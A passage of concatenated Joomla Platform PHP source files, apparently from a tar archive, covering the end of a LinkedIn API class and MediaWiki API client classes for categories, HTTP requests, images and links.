// Check if descrption id specified.
if ($description)
{
$xml .= '<description>' . $description .
'</description>';
}
$xml .= '</content>';
}
elseif (!$comment)
{
throw new RuntimeException('Post must contain comment and/or (title
and url).');
}
$xml .= '</share>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to reshare an existing share.
*
* @param string $visibility One of anyone: all members or
connections-only: connections only.
* @param string $id The unique identifier for a share.
* @param string $comment Text of member's comment.
* @param boolean $twitter True to have LinkedIn pass the status
message along to a member's tethered Twitter account.
*
* @return array The decoded JSON response
*
* @since 3.2.0
* @throws RuntimeException
*/
public function reshare($visibility, $id, $comment = null, $twitter =
false)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/shares';
// Check if twitter is true.
if ($twitter)
{
$base .= '?twitter-post=true';
}
// Build xml.
$xml = '<share>
<visibility>
<code>' . $visibility . '</code>
</visibility>';
// Check if comment specified.
if ($comment)
{
$xml .= '<comment>' . $comment .
'</comment>';
}
$xml .= ' <attribution>
<share>
<id>' . $id . '</id>
</share>
</attribution>
</share>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to get a particular member's current share.
*
* @param string $id Member id of the profile you want.
* @param string $url The public profile URL.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getCurrentShare($id = null, $url = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if a member id is specified.
if ($id)
{
$base .= 'id=' . $id;
}
elseif (!$url)
{
$base .= '~';
}
// Check if profile url is specified.
if ($url)
{
$base .= 'url=' . $this->oauth->safeEncode($url);
}
$base .= ':(current-share)';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a particular member's current share.
*
* @param string $id Member id of the profile you want.
* @param string $url The public profile URL.
* @param boolean $self Used to return member's feed. Omitted to
return aggregated network feed.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getShareStream($id = null, $url = null, $self = true)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if a member id is specified.
if ($id)
{
$base .= $id;
}
elseif (!$url)
{
$base .= '~';
}
// Check if profile url is specified.
if ($url)
{
$base .= 'url=' . $this->oauth->safeEncode($url);
}
$base .= '/network';
// Set request parameters.
$data['format'] = 'json';
$data['type'] = 'SHAR';
// Check if self is true
if ($self)
{
$data['scope'] = 'self';
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get the users network updates.
*
* @param string $id Member id.
* @param boolean $self Used to return member's feed. Omitted
to return aggregated network feed.
* @param mixed $type String containing any valid Network Update
Type from the table or an array of strings
* to specify more than one Network Update type.
* @param integer $count Number of updates to return, with a maximum
of 250.
* @param integer $start The offset by which to start Network Update
pagination.
* @param string $after Timestamp after which to retrieve updates.
* @param string $before Timestamp before which to retrieve updates.
* @param boolean $hidden Whether to display updates from people the
member has chosen to "hide" from their update stream.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getNetworkUpdates($id = null, $self = true, $type = null,
$count = 0, $start = 0, $after = null, $before = null,
$hidden = false)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if a member id is specified.
if ($id)
{
$base .= $id;
}
else
{
$base .= '~';
}
$base .= '/network/updates';
// Set request parameters.
$data['format'] = 'json';
// Check if self is true.
if ($self)
{
$data['scope'] = 'self';
}
// Check if type is specified.
if ($type)
{
$data['type'] = $type;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if after is specified.
if ($after)
{
$data['after'] = $after;
}
// Check if before is specified.
if ($before > 0)
{
$data['before'] = $before;
}
// Check if hidden is true.
if ($hidden)
{
$data['hidden'] = $hidden;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get information about the current member's network.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getNetworkStats()
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/network/network-stats';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get the users network updates.
*
* @param string $body The actual content of the update. You can use
HTML to include links to the user name and the content the user
* created. Other HTML tags are not supported. All
body text should be HTML entity escaped and UTF-8 compliant.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function postNetworkUpdate($body)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/person-activities';
// Build the xml.
$xml = '<activity locale="en_US">
<content-type>linkedin-html</content-type>
<body>' . $body . '</body>
</activity>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to retrieve all comments for a given network update.
*
* @param string $key update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getComments($key)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/update-comments';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to post a new comment to an existing update.
*
* @param string $key update/update-key representing an update.
* @param string $comment Maximum length of 700 characters
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function postComment($key, $comment)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/update-comments';
// Build the xml.
$xml = '<update-comment>
<comment>' . $comment . '</comment>
</update-comment>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to retrieve the complete list of people who liked an update.
*
* @param string $key update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getLikes($key)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/likes';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to like or unlike an update.
*
* @param string $key Update/update-key representing an update.
* @param boolean $like True to like update, false otherwise.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
private function _likeUnlike($key, $like)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/is-liked';
// Build xml.
$xml = '<is-liked>' . $this->booleanToString($like) .
'</is-liked>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to like an update.
*
* @param string $key Update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function like($key)
{
return $this->_likeUnlike($key, true);
}
/**
* Method used to unlike an update.
*
* @param string $key Update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unlike($key)
{
return $this->_likeUnlike($key, false);
}
}
mediawiki/categories.php000064400000022470151171674110011356
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Categories class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiCategories extends JMediawikiObject
{
/**
* Method to list all categories the page(s) belong to.
*
* @param array $titles Page titles to retrieve categories.
* @param array $clprop List of additional properties to get.
* @param array $clshow Type of categories to show.
* @param integer $cllimit Number of categories to return.
* @param boolean $clcontinue Continue when more results are
available.
* @param array $clcategories Only list these categories.
* @param string $cldir Direction of listing.
*
* @return object
*
* @since 3.0.0
*/
public function getCategories(array $titles, array $clprop = null, array
$clshow = null, $cllimit = null, $clcontinue = false,
array $clcategories = null, $cldir = null)
{
// Build the request.
$path = '?action=query&prop=categories';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($clprop))
{
$path .= '&clprop=' . $this->buildParameter($clprop);
}
if (isset($clshow))
{
$path .= '&$clshow=' . $this->buildParameter($clshow);
}
if (isset($cllimit))
{
$path .= '&cllimit=' . $cllimit;
}
if ($clcontinue)
{
$path .= '&clcontinue=';
}
if (isset($clcategories))
{
$path .= '&clcategories=' .
$this->buildParameter($clcategories);
}
if (isset($cldir))
{
$path .= '&cldir=' . $cldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get information about all categories used.
*
* @param array $titles Page titles to retrieve categories.
*
* @return object
*
* @since 3.1.4
*/
public function getCategoriesUsed(array $titles)
{
// Build the request
$path = '?action=query&generator=categories&prop=info';
// Append titles to the request
$path .= '&titles=' . $this->buildParameter($titles);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get information about the given categories.
*
* @param array $titles Page titles to retrieve categories.
* @param boolean $clcontinue Continue when more results are
available.
*
* @return object
*
* @since 3.1.4
*/
public function getCategoriesInfo(array $titles, $clcontinue = false)
{
// Build the request.
$path = '?action=query&prop=categoryinfo';
// Append titles to the request
$path .= '&titles=' . $this->buildParameter($titles);
if ($clcontinue)
{
$path .= '&clcontinue=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get information about the pages within a category
*
* @param string $cmtitle The category title, must
contain 'Category:' prefix, cannot be used together with
$cmpageid
* @param string $cmpageid The category's page ID,
cannot be used together with $cmtitle
* @param string $cmlimit Maximum number of pages to
retrieve
* @param array $cmprop Array of properties to retrieve
* @param array $cmnamespace Namespaces to retrieve pages
from
* @param array $cmtype Array of category members to
include, ignored if $cmsort is set to 'timestamp'
* @param string $cmstart Timestamp to start listing
from, only used if $cmsort is set to 'timestamp'
* @param string $cmend Timestamp to end listing at,
only used if $cmsort is set to 'timestamp'
* @param string $cmstartsortkey Hexadecimal key to start
listing from, only used if $cmsort is set to 'sortkey'
* @param string $cmendsortkey Hexadecimal key to end listing
at, only used if $cmsort is set to 'sortkey'
* @param string $cmstartsortkeyprefix Hexadecimal key prefix to start
listing from, only used if $cmsort is set to 'sortkey',
* overrides $cmstartsortkey
* @param string $cmendsortkeyprefix Hexadecimal key prefix to end
listing before, only used if $cmsort is set to 'sortkey',
* overrides $cmendsortkey
* @param string $cmsort Property to sort by
* @param string $cmdir Direction to sort in
* @param string $cmcontinue Used to continue a previous
request
*
* @return object
*
* @since 3.2.2 (CMS)
* @throws RuntimeException
*/
public function getCategoryMembers($cmtitle = null, $cmpageid = null,
$cmlimit = null, array $cmprop = null, array $cmnamespace = null,
array $cmtype = null, $cmstart = null, $cmend = null, $cmstartsortkey =
null, $cmendsortkey = null, $cmstartsortkeyprefix = null,
$cmendsortkeyprefix = null, $cmsort = null, $cmdir = null, $cmcontinue =
null)
{
// Build the request.
$path = '?action=query&list=categorymembers';
// Make sure both $cmtitle and $cmpageid are not set
if (isset($cmtitle) && isset($cmpageid))
{
throw new RuntimeException('Both the $cmtitle and $cmpageid
parameters cannot be set, please only use one of the two.');
}
if (isset($cmtitle))
{
// Verify that the Category: prefix exists
if (strpos($cmtitle, 'Category:') !== 0)
{
throw new RuntimeException('The $cmtitle parameter must include
the Category: prefix.');
}
$path .= '&cmtitle=' . $cmtitle;
}
if (isset($cmpageid))
{
$path .= '&cmpageid=' . $cmpageid;
}
if (isset($cmlimit))
{
$path .= '&cmlimit=' . $cmlimit;
}
if (isset($cmprop))
{
$path .= '&cmprop=' . $this->buildParameter($cmprop);
}
if (isset($cmnamespace))
{
$path .= '&cmnamespace=' .
$this->buildParameter($cmnamespace);
}
if (isset($cmtype))
{
$path .= '&cmtype=' . $this->buildParameter($cmtype);
}
if (isset($cmstart))
{
$path .= '&cmstart=' . $cmstart;
}
if (isset($cmend))
{
$path .= '&cmend=' . $cmend;
}
if (isset($cmstartsortkey))
{
$path .= '&cmstartsortkey=' . $cmstartsortkey;
}
if (isset($cmendsortkey))
{
$path .= '&cmendsortkey=' . $cmendsortkey;
}
if (isset($cmstartsortkeyprefix))
{
$path .= '&cmstartsortkeyprefix=' . $cmstartsortkeyprefix;
}
if (isset($cmendsortkeyprefix))
{
$path .= '&cmendsortkeyprefix=' . $cmendsortkeyprefix;
}
if (isset($cmsort))
{
$path .= '&cmsort=' . $cmsort;
}
if (isset($cmdir))
{
$path .= '&cmdir=' . $cmdir;
}
if (isset($cmcontinue))
{
$path .= '&cmcontinue=' . $cmcontinue;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to enumerate all categories.
*
* @param string $acfrom The category to start enumerating from.
* @param string $acto The category to stop enumerating at.
* @param string $acprefix Search for all category titles that begin
with this value.
* @param string $acdir Direction to sort in.
* @param integer $acmin Minimum number of category members.
* @param integer $acmax Maximum number of category members.
* @param integer $aclimit How many categories to return.
* @param array $acprop Which properties to get.
*
* @return object
*
* @since 3.1.4
*/
public function enumerateCategories($acfrom = null, $acto = null,
$acprefix = null, $acdir = null, $acmin = null,
$acmax = null, $aclimit = null, array $acprop = null)
{
// Build the request.
$path = '?action=query&list=allcategories';
if (isset($acfrom))
{
$path .= '&acfrom=' . $acfrom;
}
if (isset($acto))
{
$path .= '&acto=' . $acto;
}
if (isset($acprefix))
{
$path .= '&acprefix=' . $acprefix;
}
if (isset($acdir))
{
$path .= '&acdir=' . $acdir;
}
if (isset($acfrom))
{
$path .= '&acfrom=' . $acfrom;
}
if (isset($acmin))
{
$path .= '&acmin=' . $acmin;
}
if (isset($acmax))
{
$path .= '&acmax=' . $acmax;
}
if (isset($aclimit))
{
$path .= '&aclimit=' . $aclimit;
}
if (isset($acprop))
{
$path .= '&acprop=' . $this->buildParameter($acprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to list change tags.
*
* @param array $tgprop List of properties to get.
* @param string $tglimit The maximum number of tags to limit.
*
* @return object
*
* @since 3.1.4
*/
public function getChangeTags(array $tgprop = null, $tglimit = null)
{
// Build the request.
$path = '?action=query&list=tags';
if (isset($tgprop))
{
$path .= '&tgprop=' . $this->buildParameter($tgprop);
}
if (isset($tglimit))
{
$path .= '&tglimit=' . $tglimit;
}
// @TODO add support for $tgcontinue
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
mediawiki/http.php000064400000005770151171674110010214 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* HTTP client class for connecting to a MediaWiki instance.
*
* @since 3.1.4
*/
class JMediawikiHttp extends JHttp
{
/**
* Constructor.
*
* @param Registry $options Client options object.
* @param JHttpTransport $transport The HTTP transport object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JHttpTransport
$transport = null)
{
// Override the JHttp contructor to use JHttpTransportStream.
$this->options = isset($options) ? $options : new Registry;
$this->transport = isset($transport) ? $transport : new
JHttpTransportStream($this->options);
// Make sure the user agent string is defined.
$this->options->def('api.useragent',
'JMediawiki/1.0');
// Set the default timeout to 120 seconds.
$this->options->def('api.timeout', 120);
}
/**
* Method to send the GET command to the server.
*
* @param string $url Path to the resource.
* @param array $headers An array of name-value pairs to include in
the header of the request.
* @param integer $timeout Read timeout in seconds.
*
* @return JHttpResponse
*
* @since 3.1.4
*/
public function get($url, array $headers = null, $timeout = null)
{
// Look for headers set in the options.
$temp = (array) $this->options->get('headers');
foreach ($temp as $key => $val)
{
if (!isset($headers[$key]))
{
$headers[$key] = $val;
}
}
// Look for timeout set in the options.
if ($timeout === null &&
$this->options->exists('api.timeout'))
{
$timeout = $this->options->get('api.timeout');
}
return $this->transport->request('GET', new JUri($url),
null, $headers, $timeout,
$this->options->get('api.useragent'));
}
/**
* Method to send the POST command to the server.
*
* @param string $url Path to the resource.
* @param mixed $data Either an associative array or a string to
be sent with the request.
* @param array $headers An array of name-value pairs to include in
the header of the request
* @param integer $timeout Read timeout in seconds.
*
* @return JHttpResponse
*
* @since 3.1.4
*/
public function post($url, $data, array $headers = null, $timeout = null)
{
// Look for headers set in the options.
$temp = (array) $this->options->get('headers');
foreach ($temp as $key => $val)
{
if (!isset($headers[$key]))
{
$headers[$key] = $val;
}
}
// Look for timeout set in the options.
if ($timeout === null &&
$this->options->exists('api.timeout'))
{
$timeout = $this->options->get('api.timeout');
}
return $this->transport->request('POST', new JUri($url),
$data, $headers, $timeout,
$this->options->get('api.useragent'));
}
}
mediawiki/images.php000064400000014034151171674110010473 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Images class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiImages extends JMediawikiObject
{
/**
* Method to get all images contained on the given page(s).
*
* @param array $titles Page titles to retrieve images.
* @param integer $imagelimit How many images to return.
* @param boolean $imagecontinue When more results are available, use
this to continue.
* @param integer $imimages Only list these images.
* @param string $imdir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getImages(array $titles, $imagelimit = null,
$imagecontinue = null, $imimages = null, $imdir = null)
{
// Build the request.
$path = '?action=query&prop=images';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($imagelimit))
{
$path .= '&imagelimit=' . $imagelimit;
}
if ($imagecontinue)
{
$path .= '&imagecontinue=';
}
if (isset($imimages))
{
$path .= '&imimages=' . $imimages;
}
if (isset($imdir))
{
$path .= '&imdir=' . $imdir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all images contained on the given page(s).
*
* @param array $titles Page titles to retrieve links.
*
* @return object
*
* @since 3.1.4
*/
public function getImagesUsed(array $titles)
{
// Build the request.
$path = '?action=query&generator=images&prop=info';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all image information and upload history.
*
* @param array $liprop What image information to get.
* @param integer $lilimit How many image revisions to
return.
* @param string $listart Timestamp to start listing from.
* @param string $liend Timestamp to stop listing at.
* @param integer $liurlwidth URL to an image scaled to this
width will be returned..
* @param integer $liurlheight URL to an image scaled to this
height will be returned.
* @param string $limetadataversion Version of metadata to use.
* @param string $liurlparam A handler specific parameter
string.
* @param boolean $licontinue When more results are available,
use this to continue.
*
* @return object
*
* @since 3.1.4
*/
public function getImageInfo(array $liprop = null, $lilimit = null,
$listart = null, $liend = null, $liurlwidth = null,
$liurlheight = null, $limetadataversion = null, $liurlparam = null,
$licontinue = null)
{
// Build the request.
$path = '?action=query&prop=imageinfo';
if (isset($liprop))
{
$path .= '&liprop=' . $this->buildParameter($liprop);
}
if (isset($lilimit))
{
$path .= '&lilimit=' . $lilimit;
}
if (isset($listart))
{
$path .= '&listart=' . $listart;
}
if (isset($liend))
{
$path .= '&liend=' . $liend;
}
if (isset($liurlwidth))
{
$path .= '&liurlwidth=' . $liurlwidth;
}
if (isset($liurlheight))
{
$path .= '&liurlheight=' . $liurlheight;
}
if (isset($limetadataversion))
{
$path .= '&limetadataversion=' . $limetadataversion;
}
if (isset($liurlparam))
{
$path .= '&liurlparam=' . $liurlparam;
}
if ($licontinue)
{
$path .= '&alcontinue=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to enumerate all images.
*
* @param string $aifrom The image title to start enumerating
from.
* @param string $aito The image title to stop enumerating
at.
* @param string $aiprefix Search for all image titles that begin
with this value.
* @param integer $aiminsize Limit to images with at least this
many bytes.
* @param integer $aimaxsize Limit to images with at most this many
bytes.
* @param integer $ailimit How many images in total to return.
* @param string $aidir The direction in which to list.
* @param string $aisha1 SHA1 hash of image.
* @param string $aisha1base36 SHA1 hash of image in base 36.
* @param array $aiprop What image information to get.
* @param string $aimime What MIME type to search for.
*
* @return object
*
* @since 3.1.4
*/
public function enumerateImages($aifrom = null, $aito = null, $aiprefix =
null, $aiminsize = null, $aimaxsize = null, $ailimit = null,
$aidir = null, $aisha1 = null, $aisha1base36 = null, array $aiprop =
null, $aimime = null)
{
// Build the request.
$path = '?action=query&list=allimages';
if (isset($aifrom))
{
$path .= '&aifrom=' . $aifrom;
}
if (isset($aito))
{
$path .= '&aito=' . $aito;
}
if (isset($aiprefix))
{
$path .= '&aiprefix=' . $aiprefix;
}
if (isset($aiminsize))
{
$path .= '&aiminsize=' . $aiminsize;
}
if (isset($aimaxsize))
{
$path .= '&aimaxsize=' . $aimaxsize;
}
if (isset($ailimit))
{
$path .= '&ailimit=' . $ailimit;
}
if (isset($aidir))
{
$path .= '&aidir=' . $aidir;
}
if (isset($aisha1))
{
$path .= '&aisha1=' . $aisha1;
}
if (isset($aisha1base36))
{
$path .= '&$aisha1base36=' . $aisha1base36;
}
if (isset($aiprop))
{
$path .= '&aiprop=' . $this->buildParameter($aiprop);
}
if (isset($aimime))
{
$path .= '&aimime=' . $aimime;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
mediawiki/links.php000064400000017370151171674110010354 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Links class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiLinks extends JMediawikiObject
{
/**
* Method to return all links from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param array $plnamespace Namespaces to get links.
* @param string $pllimit Number of links to return.
* @param string $plcontinue Continue when more results are
available.
* @param array $pltitles List links to these titles.
* @param string $pldir Direction of listing.
*
* @return object
*
* @since 3.1.4
*/
public function getLinks(array $titles, array $plnamespace = null,
$pllimit = null, $plcontinue = null, array $pltitles = null, $pldir = null)
{
// Build the request.
$path = '?action=query&prop=links';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($plnamespace))
{
$path .= '&plnamespace=' .
$this->buildParameter($plnamespace);
}
if (isset($pllimit))
{
$path .= '&pllimit=' . $pllimit;
}
if (isset($plcontinue))
{
$path .= '&plcontinue=' . $plcontinue;
}
if (isset($pltitles))
{
$path .= '&pltitles=' .
$this->buildParameter($pltitles);
}
if (isset($pldir))
{
$path .= '&pldir=' . $pldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return info about the link pages.
*
* @param array $titles Page titles to retrieve links.
*
* @return object
*
* @since 3.1.4
*/
public function getLinksUsed(array $titles)
{
// Build the request.
$path = '?action=query&generator=links&prop=info';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return all interwiki links from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param boolean $iwurl Whether to get the full url.
* @param integer $iwlimit Number of interwiki links to return.
* @param boolean $iwcontinue When more results are available, use
this to continue.
* @param string $iwprefix Prefix for the interwiki.
* @param string $iwtitle Interwiki link to search for.
* @param string $iwdir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getIWLinks(array $titles, $iwurl = false, $iwlimit = null,
$iwcontinue = false, $iwprefix = null, $iwtitle = null, $iwdir = null)
{
// Build the request.
$path = '?action=query&prop=links';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if ($iwurl)
{
$path .= '&iwurl=';
}
if (isset($iwlimit))
{
$path .= '&iwlimit=' . $iwlimit;
}
if ($iwcontinue)
{
$path .= '&iwcontinue=';
}
if (isset($iwprefix))
{
$path .= '&iwprefix=' . $iwprefix;
}
if (isset($iwtitle))
{
$path .= '&iwtitle=' . $iwtitle;
}
if (isset($iwdir))
{
$path .= '&iwdir=' . $iwdir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return all interlanguage links from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param integer $lllimit Number of language links to return.
* @param boolean $llcontinue When more results are available, use
this to continue.
* @param string $llurl Whether to get the full URL.
* @param string $lllang Language code.
* @param string $lltitle Link to search for.
* @param string $lldir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getLangLinks(array $titles, $lllimit = null, $llcontinue =
false, $llurl = null, $lllang = null, $lltitle = null, $lldir = null)
{
// Build the request.
$path = '?action=query&prop=langlinks';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($lllimit))
{
$path .= '&lllimit=' . $lllimit;
}
if ($llcontinue)
{
$path .= '&llcontinue=';
}
if (isset($llurl))
{
$path .= '&llurl=' . $llurl;
}
if (isset($lllang))
{
$path .= '&lllang=' . $lllang;
}
if (isset($lltitle))
{
$path .= '&lltitle=' . $lltitle;
}
if (isset($lldir))
{
$path .= '&lldir=' . $lldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return all external urls from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param integer $ellimit Number of links to return.
* @param string $eloffset When more results are available, use
this to continue.
* @param string $elprotocol Protocol of the url.
* @param string $elquery Search string without protocol.
*
* @return object
*
* @since 3.1.4
*/
public function getExtLinks(array $titles, $ellimit = null, $eloffset =
null, $elprotocol = null, $elquery = null)
{
// Build the request.
$path = '?action=query&prop=extlinks';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($ellimit))
{
$path .= '&ellimit=' . $ellimit;
}
if (isset($eloffset))
{
$path .= '&eloffset=' . $eloffset;
}
if (isset($elprotocol))
{
$path .= '&elprotocol=' . $elprotocol;
}
if (isset($elquery))
{
$path .= '&elquery=' . $elquery;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to enumerate all links that point to a given namespace.
*
* @param boolean $alcontinue When more results are available, use
this to continue.
* @param string $alfrom Start listing at this title. The title
need not exist.
* @param string $alto The page title to stop enumerating at.
* @param string $alprefix Search for all page titles that begin
with this value.
* @param string $alunique Only show unique links.
* @param array $alprop What pieces of information to include.
* @param string $alnamespace The namespace to enumerate.
* @param integer $allimit Number of links to return.
*
* @return object
*
* @since 3.1.4
*/
public function enumerateLinks($alcontinue = false, $alfrom = null, $alto
= null, $alprefix = null, $alunique = null, array $alprop = null,
$alnamespace = null, $allimit = null)
{
// Build the request.
$path = '?action=query&meta=siteinfo';
if ($alcontinue)
{
$path .= '&alcontinue=';
}
if (isset($alfrom))
{
$path .= '&alfrom=' . $alfrom;
}
if (isset($alto))
{
$path .= '&alto=' . $alto;
}
if (isset($alprefix))
{
$path .= '&alprefix=' . $alprefix;
}
if (isset($alunique))
{
$path .= '&alunique=' . $alunique;
}
if (isset($alprop))
{
$path .= '&alprop=' . $this->buildParameter($alprop);
}
if (isset($alnamespace))
{
$path .= '&alnamespace=' . $alnamespace;
}
if (isset($allimit))
{
$path .= '&allimit=' . $allimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
mediawiki/mediawiki.php000064400000007537151171674110011203
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
